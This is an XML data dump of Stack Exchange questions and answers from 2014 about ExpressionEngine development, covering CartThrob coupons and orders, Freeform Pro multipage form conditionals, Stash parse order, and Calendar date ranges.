  <row Id="20209" PostTypeId="2" ParentId="20122" CreationDate="2014-03-12T07:24:31.820" Score="1" Body="&lt;p&gt;There's no built in way to do it. There are lots of possible complexities, like the fact products ordered in the past may no longer even exist!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to do this, two possible ways come to mind. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could use the standard add to cart tag along with the orders tag, to add multiple products from a previous order to the cart, all at once. This would require some clever templating, especially if your products have complex modifiers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, you could use PHP and create a simple plugin, which loads a previous order and adds products to the current cart. This would probably be cleaner, but requires some knowledge of PHP.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2014-03-12T07:24:31.820" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20210" PostTypeId="2" ParentId="20121" CreationDate="2014-03-12T07:43:17.377" Score="3" Body="&lt;p&gt;No, deleting orders does not return the stock. You will need to adjust the stock manually in the case of a canceled/returned order.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In general you probably shouldn't delete orders anyway. For accounting purposes it is better to make a status &quot;returned&quot; or &quot;canceled&quot; to keep track of how many orders were not successful.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2014-03-12T07:43:17.377" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20211" PostTypeId="2" ParentId="20206" CreationDate="2014-03-12T07:51:45.723" Score="0" Body="&lt;p&gt;To find the total number of entries returned from your exp:channel:entries tag use the variable {total_results}.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;channel_1&quot;}&#xA;{total_results}&#xA;{/exp/channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_entries.html#total-results&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_entries.html#total-results&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I'm not sure I understand why you &quot;want to find the count first and then loop?&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The exp:channel:entries tag &lt;em&gt;is&lt;/em&gt; a loop. It will loop through the code within the tag for every entry returned by it. That's what it is for.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2014-03-12T07:51:45.723" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="20213" PostTypeId="2" ParentId="15501" CreationDate="2014-03-12T09:22:25.637" Score="0" Body="&lt;p&gt;I had a similar issue with the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:form &#xA; channel=&quot;CHANNEL&quot; &#xA; entry_id=&quot;{exp:stash:b_entry_id}&quot; &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Simply adding &lt;code&gt;parse=&quot;inward&quot;&lt;/code&gt; to the &lt;code&gt;{exp:channel:form}&lt;/code&gt; tag sorted it all out. so now I have:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:form &#xA; channel=&quot;CHANNEL&quot; &#xA; entry_id=&quot;{exp:stash:b_entry_id}&quot; &#xA; parse=&quot;inward&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The idea came from &lt;a href=&quot;http://devot-ee.com/add-ons/support/stash/viewthread/7166#32610&quot; rel=&quot;nofollow&quot;&gt;this post&lt;/a&gt; by Mark Croxton on the Stash support forum.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to know more about parsing order, or parse=&quot;inward&quot; check out the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/templates/plugins.html#changing-parsing-order&quot; rel=&quot;nofollow&quot;&gt;EE Docs&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1666" LastActivityDate="2014-03-12T09:22:25.637" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20215" PostTypeId="1" AcceptedAnswerId="20220" CreationDate="2014-03-12T11:11:32.337" Score="0" ViewCount="210" Body="&lt;p&gt;I would like to generate a number of single use coupon codes - and judging by the wording at &lt;a href=&quot;http://cartthrob.com/tour&quot; rel=&quot;nofollow&quot;&gt;http://cartthrob.com/tour&lt;/a&gt; (next to Promotions heading) I can &quot;generate coupon/voucher codes&quot; but I can't see anywhere in the CP to do this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible or do I have to manually add each coupon to the channel?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance&lt;/p&gt;&#xA;" OwnerUserId="1870" LastActivityDate="2014-03-18T21:15:05.107" Title="Generate Coupon Codes in CartThrob" Tags="|cartthrob|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20216" PostTypeId="2" ParentId="20215" CreationDate="2014-03-12T11:55:30.127" Score="0" Body="&lt;p&gt;You must first define which channel(s) should be used for your coupons or discounts and set them up with the appropriate field types. Do this in the CartThrob settings menu of your CP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can then create the coupons or vouchers as entries in whichever channel you have set to be your discount or coupon channel.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2014-03-12T11:55:30.127" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="20217" PostTypeId="1" AcceptedAnswerId="20256" CreationDate="2014-03-12T12:07:49.260" Score="0" ViewCount="420" Body="&lt;p&gt;I'm trying to add a conditional for a multipage form. On page 1 there is a radio button and depending on what the user selects, will depend on what fields will be displayed on page 2. Below is the template code and if you would like to see the live page, here's the link (www.igsmeetings.com/portal2014/index.php/meeting-registration). The question field that is acting as the conditional is a radio button &quot;Do you plan on attending this meeting&quot;, and I have no idea what value I should use to call that information in my conditional tag. Please let me know what I am doing wrong.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;b&gt;EE Version:&lt;/b&gt; 2.7.4&#xA;&lt;b&gt;Freeform Pro Version:&lt;/b&gt; 4.1.3&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks so much for your help!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:freeform:form&#xA;   form_id=&quot;4&quot;&#xA;   return=&quot;registration/confirmation&quot;&#xA;   multipage=&quot;yes&quot;&#xA;   multi_page_names=&quot;rsvp|complete&quot;&#xA;   multi_page=&quot;{segment_3}&quot;&#xA;   notify_admin=&quot;yes&quot; &#xA;   notify_user=&quot;yes&quot;&#xA;   required=&quot;first_name|last_name|title|organization|email|phone_number|meeting_name|meeting_type|length_of_meeting|number_of_attendees|location|meeting_start_date_option_1|meeting_end_date_option_1&quot;&#xA;   inline_errors=&quot;yes&quot;&#xA;   inline_error_return=&quot;meeting-registration/{segment_3}#form&quot;&#xA;   }&#xA;&#xA;   {if freeform:error:first_name OR freeform:error:last_name OR freeform:error:title OR freeform:error:organization OR freeform:error:email OR freeform:error:phone_number OR freeform:error:meeting_name OR freeform:error:meeting_type OR freeform:error:length_of_meeting OR freeform:error:number_of_attendees OR freeform:error:location OR freeform:error:meeting_start_date_option_1 OR freeform:error:meeting_end_date_option_1}&#xA;                &amp;lt;div class=&quot;alert alert-danger&quot;&amp;gt;            &#xA;                    &amp;lt;i class=&quot;icon-warning-sign&quot;&amp;gt;&amp;lt;/i&amp;gt; &amp;amp;nbsp;&amp;amp;nbsp;&amp;lt;strong&amp;gt;ALERT:&amp;lt;/strong&amp;gt; There were error(s) in your form. Please correct the errors listed below.&#xA;                &amp;lt;/div&amp;gt;&#xA;                {/if}&#xA;&amp;lt;!-- PAGE ONE --&amp;gt;&#xA;{freeform:page:1 required=&quot;rsvp&quot;}&#xA;    &amp;lt;h4 class=&quot;color&quot;&amp;gt;Do you plan on attending this meeting?&amp;lt;/h4&amp;gt;&amp;lt;br /&amp;gt;&#xA;     &amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;col-md-7&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;form-group&quot;&amp;gt;&#xA;                &amp;lt;label for=&quot;inputAdminAsst&quot; class=&quot;sr-only&quot;&amp;gt;{freeform:label:rsvp}&amp;lt;/label&amp;gt;&#xA;                &amp;lt;div class=&quot;col-sm-12&quot;&amp;gt;&#xA;                  {freeform:field:rsvp attr:class=&quot;radio&quot;}&#xA;                  {if freeform:error:rsvp}&#xA;                     &amp;lt;p class=&quot;text-danger&quot;&amp;gt;&amp;lt;i class=&quot;icon-asterisk&quot;&amp;gt;&amp;lt;/i&amp;gt; {freeform:error:rsvp}&amp;lt;/p&amp;gt;&#xA;                  {/if}&#xA;                &amp;lt;/div&amp;gt;&#xA;             &amp;lt;/div&amp;gt;&#xA;         &amp;lt;/div&amp;gt;&#xA;      &amp;lt;/div&amp;gt;&amp;lt;!-- End Row  --&amp;gt;&#xA;      &amp;lt;hr&amp;gt;&#xA;     &amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;col-md-2 col-md-offset10 pull-right&quot;&amp;gt;&#xA;            {freeform:submit attr:class=&quot;btn border-radius0 dark-gray-bg letters-white margin-top12&quot; attr:value=&quot;Continue&quot;}&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;{/freeform:page:1}&#xA;&#xA;&amp;lt;!-------- PAGE TWO --------&amp;gt;&#xA;{freeform:page:2}&#xA;    &amp;lt;h4 class=&quot;color&quot;&amp;gt;Your Information&amp;lt;/h4&amp;gt;&amp;lt;br /&amp;gt;&#xA;    {exp:user:stats}&#xA;    &amp;lt;form class=&quot;form-horizontal&quot; role=&quot;form&quot;&amp;gt;&#xA;&#xA;&#xA;&amp;lt;!-- IF NO --&amp;gt;    &#xA;{if freeform:mp_data:rsvp == &quot;freeform_rsvp_2&quot;}&#xA;&#xA;        &amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;col-md-4&quot;&amp;gt;&#xA;                &amp;lt;div class=&quot;form-group&quot;&amp;gt;&#xA;                    &amp;lt;label for=&quot;inputFirstName&quot; class=&quot;sr-only&quot;&amp;gt;{freeform:label:first_name}&amp;lt;/label&amp;gt;&#xA;                    &amp;lt;div class=&quot;col-sm-12&quot;&amp;gt;&#xA;                      &amp;lt;input type=&quot;text&quot; class=&quot;form-control&quot; placeholder=&quot;First Name *&quot; name=&quot;first_name&quot; value=&quot;{first-name}&quot;&amp;gt;&#xA;                      {if freeform:error:first_name}&#xA;                         &amp;lt;p class=&quot;text-danger&quot;&amp;gt;&amp;lt;i class=&quot;icon-asterisk&quot;&amp;gt;&amp;lt;/i&amp;gt; {freeform:error:first_name}&amp;lt;/p&amp;gt;&#xA;                      {/if}&#xA;                    &amp;lt;/div&amp;gt;&#xA;                 &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;            &amp;lt;div class=&quot;col-md-4&quot;&amp;gt;&#xA;                &amp;lt;div class=&quot;form-group&quot;&amp;gt;&#xA;                    &amp;lt;label for=&quot;inputLastName&quot; class=&quot;sr-only&quot;&amp;gt;{freeform:label:last_name}&amp;lt;/label&amp;gt;&#xA;                    &amp;lt;div class=&quot;col-sm-12&quot;&amp;gt;&#xA;                      &amp;lt;input type=&quot;text&quot; class=&quot;form-control&quot; placeholder=&quot;Last Name *&quot; name=&quot;last_name&quot; value=&quot;{last-name}&quot;&amp;gt;&#xA;                      {if freeform:error:last_name}&#xA;                         &amp;lt;p class=&quot;text-danger&quot;&amp;gt;&amp;lt;i class=&quot;icon-asterisk&quot;&amp;gt;&amp;lt;/i&amp;gt; {freeform:error:last_name}&amp;lt;/p&amp;gt;&#xA;                      {/if}&#xA;                    &amp;lt;/div&amp;gt;&#xA;                 &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;            &amp;lt;div class=&quot;col-md-4&quot;&amp;gt;&#xA;                &amp;lt;div class=&quot;form-group&quot;&amp;gt;&#xA;                    &amp;lt;label for=&quot;inputEmail&quot; class=&quot;sr-only&quot;&amp;gt;{freeform:label:email}&amp;lt;/label&amp;gt;&#xA;                    &amp;lt;div class=&quot;col-sm-12&quot;&amp;gt;&#xA;                      &amp;lt;input type=&quot;email&quot; class=&quot;form-control&quot; placeholder=&quot;Email *&quot; name=&quot;email&quot; value=&quot;{email}&quot;&amp;gt;&#xA;                      {if freeform:error:email}&#xA;                         &amp;lt;p class=&quot;text-danger&quot;&amp;gt;&amp;lt;i class=&quot;icon-asterisk&quot;&amp;gt;&amp;lt;/i&amp;gt; {freeform:error:email}&amp;lt;/p&amp;gt;&#xA;                      {/if}&#xA;                    &amp;lt;/div&amp;gt;&#xA;                 &amp;lt;/div&amp;gt;&#xA;             &amp;lt;/div&amp;gt;&#xA;         &amp;lt;/div&amp;gt;&amp;lt;!-- End Row 1 --&amp;gt;&#xA; &amp;lt;!-- /END IF NO --&amp;gt;         &#xA;&#xA;&#xA;&#xA;&#xA;&amp;lt;!-- IF YES --&amp;gt;&#xA;{if:else}&#xA;&#xA;    &amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;col-md-4&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;form-group&quot;&amp;gt;&#xA;                &amp;lt;label for=&quot;inputFirstName&quot; class=&quot;sr-only&quot;&amp;gt;{freeform:label:first_name}&amp;lt;/label&amp;gt;&#xA;                &amp;lt;div class=&quot;col-sm-12&quot;&amp;gt;&#xA;                  &amp;lt;input type=&quot;text&quot; class=&quot;form-control&quot; placeholder=&quot;First Name *&quot; name=&quot;first_name&quot; value=&quot;{first-name}&quot;&amp;gt;&#xA;                  {if freeform:error:first_name}&#xA;                     &amp;lt;p class=&quot;text-danger&quot;&amp;gt;&amp;lt;i class=&quot;icon-asterisk&quot;&amp;gt;&amp;lt;/i&amp;gt; {freeform:error:first_name}&amp;lt;/p&amp;gt;&#xA;                  {/if}&#xA;                &amp;lt;/div&amp;gt;&#xA;             &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&quot;col-md-4&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;form-group&quot;&amp;gt;&#xA;                &amp;lt;label for=&quot;inputLastName&quot; class=&quot;sr-only&quot;&amp;gt;{freeform:label:last_name}&amp;lt;/label&amp;gt;&#xA;                &amp;lt;div class=&quot;col-sm-12&quot;&amp;gt;&#xA;                  &amp;lt;input type=&quot;text&quot; class=&quot;form-control&quot; placeholder=&quot;Last Name *&quot; name=&quot;last_name&quot; value=&quot;{last-name}&quot;&amp;gt;&#xA;                  {if freeform:error:last_name}&#xA;                     &amp;lt;p class=&quot;text-danger&quot;&amp;gt;&amp;lt;i class=&quot;icon-asterisk&quot;&amp;gt;&amp;lt;/i&amp;gt; {freeform:error:last_name}&amp;lt;/p&amp;gt;&#xA;                  {/if}&#xA;                &amp;lt;/div&amp;gt;&#xA;             &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&quot;col-md-4&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;form-group&quot;&amp;gt;&#xA;                &amp;lt;label for=&quot;inputRankSalutation&quot; class=&quot;sr-only&quot;&amp;gt;{freeform:label:rank_salutation}&amp;lt;/label&amp;gt;&#xA;                &amp;lt;div class=&quot;col-sm-12&quot;&amp;gt;&#xA;                  &amp;lt;input type=&quot;text&quot; class=&quot;form-control&quot; placeholder=&quot;Rank/Salutation *&quot; name=&quot;rank_salutation&quot;&amp;gt;&#xA;                  {if freeform:error:rank_salutation}&#xA;                     &amp;lt;p class=&quot;text-danger&quot;&amp;gt;&amp;lt;i class=&quot;icon-asterisk&quot;&amp;gt;&amp;lt;/i&amp;gt; {freeform:error:rank_salutation}&amp;lt;/p&amp;gt;&#xA;                  {/if}&#xA;                &amp;lt;/div&amp;gt;&#xA;             &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;     &amp;lt;/div&amp;gt;&amp;lt;!-- End Row 1 --&amp;gt;&#xA;     &amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;col-md-4&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;form-group&quot;&amp;gt;&#xA;                &amp;lt;label for=&quot;inputTitle&quot; class=&quot;sr-only&quot;&amp;gt;{freeform:label:title}&amp;lt;/label&amp;gt;&#xA;                &amp;lt;div class=&quot;col-sm-12&quot;&amp;gt;&#xA;                  &amp;lt;input type=&quot;text&quot; class=&quot;form-control&quot; placeholder=&quot;Title *&quot; name=&quot;title&quot; value=&quot;{user-title}&quot;&amp;gt;&#xA;                  {if freeform:error:title}&#xA;                     &amp;lt;p class=&quot;text-danger&quot;&amp;gt;&amp;lt;i class=&quot;icon-asterisk&quot;&amp;gt;&amp;lt;/i&amp;gt; {freeform:error:title}&amp;lt;/p&amp;gt;&#xA;                  {/if}&#xA;                &amp;lt;/div&amp;gt;&#xA;             &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&quot;col-md-4&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;form-group&quot;&amp;gt;&#xA;                &amp;lt;label for=&quot;inputOrganization&quot; class=&quot;sr-only&quot;&amp;gt;{freeform:label:organization}&amp;lt;/label&amp;gt;&#xA;                &amp;lt;div class=&quot;col-sm-12&quot;&amp;gt;&#xA;                  &amp;lt;input type=&quot;text&quot; class=&quot;form-control&quot; placeholder=&quot;Organization *&quot; name=&quot;organization&quot; value=&quot;{organization}&quot;&amp;gt;&#xA;                  {if freeform:error:organization}&#xA;                     &amp;lt;p class=&quot;text-danger&quot;&amp;gt;&amp;lt;i class=&quot;icon-asterisk&quot;&amp;gt;&amp;lt;/i&amp;gt; {freeform:error:organization}&amp;lt;/p&amp;gt;&#xA;                  {/if}&#xA;                &amp;lt;/div&amp;gt;&#xA;             &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&quot;col-md-4&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;form-group&quot;&amp;gt;&#xA;                &amp;lt;label for=&quot;inputEmail&quot; class=&quot;sr-only&quot;&amp;gt;{freeform:label:email}&amp;lt;/label&amp;gt;&#xA;                &amp;lt;div class=&quot;col-sm-12&quot;&amp;gt;&#xA;                  &amp;lt;input type=&quot;email&quot; class=&quot;form-control&quot; placeholder=&quot;Email *&quot; name=&quot;email&quot; value=&quot;{email}&quot;&amp;gt;&#xA;                  {if freeform:error:email}&#xA;                     &amp;lt;p class=&quot;text-danger&quot;&amp;gt;&amp;lt;i class=&quot;icon-asterisk&quot;&amp;gt;&amp;lt;/i&amp;gt; {freeform:error:email}&amp;lt;/p&amp;gt;&#xA;                  {/if}&#xA;                &amp;lt;/div&amp;gt;&#xA;             &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;     &amp;lt;/div&amp;gt;&amp;lt;!-- End Row 2 --&amp;gt;&#xA;     &amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;col-md-4&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;form-group&quot;&amp;gt;&#xA;                &amp;lt;label for=&quot;inputCity&quot; class=&quot;sr-only&quot;&amp;gt;{freeform:label:city}&amp;lt;/label&amp;gt;&#xA;                &amp;lt;div class=&quot;col-sm-12&quot;&amp;gt;&#xA;                  &amp;lt;input type=&quot;text&quot; class=&quot;form-control&quot; placeholder=&quot;City *&quot; name=&quot;city&quot; value=&quot;{city}&quot;&amp;gt;&#xA;                  {if freeform:error:city}&#xA;                     &amp;lt;p class=&quot;text-danger&quot;&amp;gt;&amp;lt;i class=&quot;icon-asterisk&quot;&amp;gt;&amp;lt;/i&amp;gt; {freeform:error:city}&amp;lt;/p&amp;gt;&#xA;                  {/if}&#xA;                &amp;lt;/div&amp;gt;&#xA;             &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&quot;col-md-4&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;form-group&quot;&amp;gt;&#xA;                &amp;lt;label for=&quot;inputState&quot; class=&quot;sr-only&quot;&amp;gt;{freeform:label:state}&amp;lt;/label&amp;gt;&#xA;                &amp;lt;div class=&quot;col-sm-12&quot;&amp;gt;&#xA;                  {freeform:field:state attr:class=&quot;form-control&quot;}&#xA;                  {if freeform:error:state}&#xA;                     &amp;lt;p class=&quot;text-danger&quot;&amp;gt;&amp;lt;i class=&quot;icon-asterisk&quot;&amp;gt;&amp;lt;/i&amp;gt; {freeform:error:state}&amp;lt;/p&amp;gt;&#xA;                  {/if}&#xA;                &amp;lt;/div&amp;gt;&#xA;             &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&quot;col-md-4&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;form-group&quot;&amp;gt;&#xA;                &amp;lt;label for=&quot;inputTelephone&quot; class=&quot;sr-only&quot;&amp;gt;{freeform:label:phone_number}&amp;lt;/label&amp;gt;&#xA;                &amp;lt;div class=&quot;col-sm-12&quot;&amp;gt;&#xA;                  &amp;lt;input type=&quot;text&quot; class=&quot;form-control&quot; placeholder=&quot;Telephone *&quot; name=&quot;phone_number&quot; value=&quot;{telephone}&quot;&amp;gt;&#xA;                  {if freeform:error:phone_number}&#xA;                     &amp;lt;p class=&quot;text-danger&quot;&amp;gt;&amp;lt;i class=&quot;icon-asterisk&quot;&amp;gt;&amp;lt;/i&amp;gt; {freeform:error:phone_number}&amp;lt;/p&amp;gt;&#xA;                  {/if}&#xA;                &amp;lt;/div&amp;gt;&#xA;             &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;     &amp;lt;/div&amp;gt;&amp;lt;!-- End Row 3 --&amp;gt;&#xA;&#xA;     &amp;lt;hr&amp;gt;&#xA;     &amp;lt;h4 class=&quot;color&quot;&amp;gt;Administrative Assistant Information (if applicable)&amp;lt;/h4&amp;gt;&amp;lt;br /&amp;gt;&#xA;     &amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;col-md-7&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;form-group&quot;&amp;gt;&#xA;                &amp;lt;label for=&quot;inputAdminAsst&quot; class=&quot;sr-only&quot;&amp;gt;{freeform:label:administrative_assistant_email}&amp;lt;/label&amp;gt;&#xA;                &amp;lt;div class=&quot;col-sm-12&quot;&amp;gt;&#xA;                  {freeform:field:administrative_assistant_email attr:class=&quot;form-control&quot; attr:placeholder=&quot;Administrative Assistant's Email&quot;}&#xA;                  {if freeform:error:administrative_assistant_email}&#xA;                     &amp;lt;p class=&quot;text-danger&quot;&amp;gt;&amp;lt;i class=&quot;icon-asterisk&quot;&amp;gt;&amp;lt;/i&amp;gt; {freeform:error:administrative_assistant_email}&amp;lt;/p&amp;gt;&#xA;                  {/if}&#xA;                &amp;lt;/div&amp;gt;&#xA;             &amp;lt;/div&amp;gt;&#xA;         &amp;lt;/div&amp;gt;&#xA;      &amp;lt;/div&amp;gt;&amp;lt;!-- End Row 4 --&amp;gt;&#xA;&amp;lt;!-- END IF YES --&amp;gt;      &#xA;&#xA;     {/if}&#xA;&#xA;&amp;lt;!-- END IF STATEMENT --&amp;gt;&#xA;&#xA;     &amp;lt;hr&amp;gt;&#xA;     &amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;col-md-2 col-md-offset10 pull-right&quot;&amp;gt;&#xA;            {freeform:submit attr:class=&quot;btn border-radius0 dark-gray-bg letters-white margin-top12&quot; attr:name=&quot;Submit&quot;}&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;{/exp:user:stats}&#xA;{/freeform:page:2}&#xA;{/exp:freeform:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="747" LastEditorUserId="884" LastEditDate="2014-03-13T10:09:05.730" LastActivityDate="2014-03-13T10:10:58.603" Title="EE Solspace Freeform Pro Conditionals Not Working" Tags="|solspace-freeform|solspace|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20218" PostTypeId="1" AcceptedAnswerId="20257" CreationDate="2014-03-12T12:28:01.023" Score="0" ViewCount="172" Body="&lt;p&gt;Is there something wrong with this &lt;code&gt;cal&lt;/code&gt; tag, or is it Calendar's fault? It insists on showing events from yesterday!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:calendar:cal date_range_start=&quot;today&quot; show_months=&quot;12&quot; calendar_name=&quot;events&quot;  dynamic=&quot;on&quot; category=&quot;{segment_4}&quot;}&#xA;&amp;lt;a href=&quot;{path='events/booking'}/{event_url_title}/&quot;&amp;gt;{event_start_date format=&quot;%l  %j %F, %Y&quot;}: {event_title}&amp;lt;/a&amp;gt; &#xA;{/exp:calendar:cal} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2157" LastActivityDate="2019-02-18T07:52:24.517" Title="date_range_start=&quot;today&quot; shows events from yesterday" Tags="|solspace-calendar|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20219" PostTypeId="2" ParentId="18690" CreationDate="2014-03-12T12:30:00.890" Score="0" Body="&lt;p&gt;This one wasn't a CartThrob bug - there was a problem with a third-party payment module which was breaking guest checkout.&lt;/p&gt;&#xA;" OwnerUserId="2157" LastActivityDate="2014-03-12T12:30:00.890" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20220" PostTypeId="2" ParentId="20215" CreationDate="2014-03-12T12:57:55.633" Score="0" Body="&lt;p&gt;I have myself never used it, but could this addon be of some kind of help?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/cartthrob-offers&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/cartthrob-offers&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1615" LastActivityDate="2014-03-12T12:57:55.633" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20221" PostTypeId="2" ParentId="20178" CreationDate="2014-03-12T13:01:32.773" Score="0" Body="&lt;p&gt;When you pass a tag as a parameter (any tag, not just Stash) you need to add &lt;code&gt;parse=&quot;inward&quot;&lt;/code&gt; to the parent tag to tell EE to parse the parameters. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set name=&quot;sn_author&quot; scope=&quot;user&quot; save=&quot;yes&quot;}{segment_2}{/exp:stash:set}&#xA;&#xA;{exp:channel:entries channel=&quot;member_profiles&quot; dynamic=&quot;no&quot; author_id=&quot;{exp:stash:sn_author}&quot; parse=&quot;inward&quot;}&#xA;   {member_first_name} {member_last_name} &#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="289" LastEditorUserId="289" LastEditDate="2014-03-31T18:32:21.860" LastActivityDate="2014-03-31T18:32:21.860" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="20222" PostTypeId="2" ParentId="19965" CreationDate="2014-03-12T13:26:08.103" Score="1" Body="&lt;p&gt;I was able to solve this problem by comparing my current EE installation with a previous installation. The &lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt; of my 'admin.php' file was missing references to js files that my previous installation had:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot; src=&quot;http://www.example.com/themes/javascript/compressed/jquery/jquery.uniform.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&#xA;&amp;lt;script type=&quot;text/javascript&quot; src=&quot;http://www.example.com/themes/javascript/compressed/jquery/jquery.dropkick-1.0.0.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I made sure these files existed, added these references to &lt;code&gt;admin.php&lt;/code&gt;, and uploads are working.&lt;/p&gt;&#xA;" OwnerUserId="2806" LastActivityDate="2014-03-12T13:26:08.103" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20225" PostTypeId="1" CreationDate="2014-03-12T15:25:10.433" Score="1" ViewCount="66" Body="&lt;p&gt;Apologies if the Title is a bit odd sounding.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, I have MSM with 4 sites. Within each site is a UI file upload preference. Now when I 'Search By Directory' on the File Manager, I get UI, UI, UI and UI. - Can I get it to filter by directories only on that site? Or is the only option to give them Unique names?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;Joe&lt;/p&gt;&#xA;" OwnerUserId="2839" LastActivityDate="2014-03-12T15:25:10.433" Title="Multi Site Manager - File Upload Preferences - Unique per site" Tags="|multi-site-manager|file-uploads|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
